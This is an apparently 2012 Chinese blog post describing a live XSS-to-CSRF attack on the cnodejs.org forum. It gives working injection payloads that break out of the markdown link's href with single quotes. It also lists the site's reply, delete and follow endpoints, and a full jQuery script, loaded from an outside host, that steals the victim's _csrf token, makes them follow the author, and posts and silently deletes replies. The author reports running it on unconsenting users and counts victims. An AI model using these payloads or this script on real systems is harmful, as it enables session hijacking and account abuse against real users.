XSRF攻击实例,注入cnodejs.org官网

2012-09-23 05:48

XSRF攻击实例,注入cnodejs.org官网

by snoopyxdy

at 2012-09-22 21:48:18

original http://snoopyxdy.blog.163.com/blog/static/60117440201281294147873

自从我在cnodejs官网上发布了一篇关于《xss和csrf讨论》的文章后,cnodejs开始了一轮xss注入热潮,各种alert弹窗,自动回复以及修改页面等等。最后袁锋(suqian)只能将所有的markdown标签的html标签禁用,才平息了这场风波。
但是真的将所有的html标签都禁用了就没有漏洞了吗?感兴趣的同学可以继续往下看。

我们来看一下袁锋在禁用html标签前的各种惨状,可谓惨不忍睹,alert满天飞。

1、老雷的ORZ!
关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 

2、各种alert,又是老雷!
关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 

很多主题的帖子都被漫天飞舞的alert强奸了,如果管理员再无作为的话,cnodejs就要崩溃了。

先分析一下本次cnodejs被注入的原因,其实原理很简单,就是直接可以在文本编辑器里写入代码,比如:

<script>alert("xss")</script>

如此光明正大的被人注入肯定会引起管理员们的注意的,然后将此bug封杀掉。袁锋本着宁可错杀100不可放过1个的精神,关闭了HTML标签,但是本文所要讲述的就是那个不可放过的1个。


注入分析:
由于袁锋将所有html标签都禁用了,所以直接在编辑器写什么

<img src="http://snoopyxdy.blog.163.com/blog/err" onerr="alert('xss')" />
<script>alert('xss')</script>
... ...

以上这些都不管用了,赤裸裸的注入肯定失败了,我们仔细看下markdown编辑器:

关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 
从左到右的功能依次是,加粗,斜体,超链接……,等等,超链接是最有可能成为反射型XSS的注入点。
先说下一般 A 标签的注入流程

<a href="http://snoopyxdy.blog.163.com/blog/用户填写的内容">用户填写的连接描述</a>

我们一般可以让

a、用户填写的超连接内容 = javascript:alert("xss");
b、用户填写的超连接内容 = http://www.baidu.com#"onclick="alert('xss')"

a方法是直接写入javascript语法,一般都会被禁用,因为后端一般会验证 url 地址是否合法,比如是否是http或者https开头的。
b方法是利用后端没有过滤双引号,从而截断href属性,给这个a标签增加onclick属性,实现注入。

很可惜,我们的cnodejs编辑器将双引号过滤掉了,所以我们的方法2是行不通的。但是cnodejs并没有过滤单引号!单引号我们也是可以利用的,于是我们的注入步骤如下图所示:

关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 
我们写了一个标题为bbbb的超连接,然后在href属性里直接写入javascript的alert框,最后我们利用js的注释添加一个双引号结尾,企图尝试下双引号是否转义。下图就是侧漏图:
关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 
当用户点击了我的超链接bbbbb,我们就成功的注入了,弹出了alert框。同时,我们可以看到在昨天11点多的时候袁锋大大发飙了,将markdown的所有html标签都禁用了的那篇回复。

按照惯例我们的xss注入已经完成了,文章也可以结束了,但是本次我来带领大家完成一次CSRF的旅程。当然我很快删除了这个超链接,防止泄露出去,这样下面我的CSRF就只能去找其他注入点了。

我在上文说,_csrf 防御CSRF (有点拗口,不难理解吧)是毫无用处的,很多TX表示疑问不理解,下面我就来破解他。先说一下 _csrf 的简单工作流程吧。
因为很多被注入的页面可能没有注入者想要的受害者提交的表单,所以如果直接通过ajax请求会被403forbidden。我这里简单举个例子:

我们往一个自己的个人主页注入了代码,但是这个页面是没有受害用户的_csrf值的,所以在这个页面发起的ajaxpost由于没有_csrf就被拒绝了,正常情况下_csrf会伴随每次的post提交一起提交到后台,然后后台根据用户session里的_csrf进行比对,如果相同则通过,如果不同就认为请求伪造,返回403.

回到cnodjs站点,查看源码,我们看到了作者把_csrf放入了闭包内,然后通过模版渲染直接输出的,这样看上去可以防御了我注入的脚本直接获取_csrf的input框值,从而保护_csrf,但是真的这样吗?我们看如下代码的截图:

关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 
这就是我所说的,如果站点被脚本注入了,为什么 _csrf 对于防御 CSRF这类攻击一点效果都没有,就好比一闪铁门上了一把铁丝那样粗的链条锁。

拿到 _csrf 我们就可以为所欲为了,我们这次的CSRF目的是2个
1、将我所发的这篇主题置顶,就是要让用户一直看到,哈哈
2、刷下我的粉丝数,要让受害者关注我哦~

对于1、想要帖子置顶,就必须让用户自动回复,但是如果一旦疯狂的自动回复,肯定会被管理员发现,然后将主题删除或者引起其他受害者的注意。所以我构想如下结果,先自动回复主题,然后自动删除回复的主题,这样就神不知鬼不觉了,用户也不会发现自己回复过了,管理员也不会在意的,因为帖子并没有显示垃圾信息。

对于2、我们只要直接让受害者伪造请求也就是CSRF到置顶接口,即关注我这个ID即可,当然这也是神不知鬼不觉的。

我们分段看下cnodjs发布回复以及删除回复还有关注的ajax接口

1、发布回复:

请求地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/reply
post数据:
r_content:顶起来,必须的
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

2、删除回复:

请求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
post数据:
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

3、关注

请求地址: http://cnodejs.org/ user/follow
post数据:
follow_id: '4efc278525fa69ac690000f7',
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

ok接口我们都拿到了,然后就是构建攻击js脚本了,我们的js脚本攻击流程就是:
1、获取_csrf
2、发布回复
3、删除回复
4、加关注
5、跳转到正常的地址(防止用户发现)
构建的csrf攻击脚本代码:

(function(){
var atturl = 'http://snoopyxdy.blog.163.com/blog/static/60117440201281294147873/';
if($('#xss').length>0) $('#xss').attr('target','_sel');
try{
var replayid = $('#reply_form').attr('action').split('/')[1];
var myid = '4efc278525fa69ac690000f7';
var csrfatt = '';
setTimeout(function(){
location.href = atturl;
},2000)
$.get(location.href,{},function(html){
if(html){
try{
var y = html.indexOf('_csrf');
csrfatt = html.slice(y+8, y+32);
}
catch(e){}
if(csrfatt){
$.post('/user/follow', {follow_id:myid, _csrf:csrfatt},function(){
$.post('/'+replayid+'/reply', {r_content:'我崇拜snoopy,他是英雄!', _csrf:csrfatt},function(d){
setTimeout(function(){$.get(location.href, {}, function(data){
var $html = $(data);
var rid = $html.find('.reply_item:last').attr('reply_id');
if(rid){
$.post('/reply/'+rid+'/delete',{reply_id:rid, _csrf:csrfatt},function(d){

location.href = atturl;
})

}
},'html');
},200);
})
})
}
}
},'html');
}
catch(e){
location.href = atturl;
}
}())

最后我们将整个脚本放入 http://rrest.cnodejs.net/static/cnode_csrf.js ,利用注入的a标签执行:javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js');
完成我们的注入,我们接下来就来看看效果吧。

我发布了一篇名为 《关于cnodejs官网的XSS和CSRF》的文章,然后显示了部分摘要,将正文博客地址连入内容,然后将外部脚本加载进来了,我们先截个图,看看有多少中招啦,哈哈!
关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 
目前我把所有没有读的消息都清空了,然后坐等TX上钩,看看到下午下班有多少TX点了链接,为我加了粉丝。
等下午4点再去CNODEJS上看看吧

立马就有3个人中招

关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 

不过这个漏洞刚开始只对chrome有效,后来注入下面的代码之后,就通杀所有浏览器了,hoho~
最后出了一个下策,通杀chrome,ff,IE,哈哈!
最终注入代码:

javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js')//

"id='follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js'onmousedown='$.getScript(this.name)//'


注入的文章截图:
关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 

受害者截图,预计到晚上回更多:
关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 
我们拿FF看到的请求瀑布图:
关于cnodejs官网的XSS和CSRF - snoopyxdy - snoopyxdy的博客
 
受害页面(登陆状态攻击才有效):
http://cnodejs.org/topic/5050076a5aa28e094301e2b1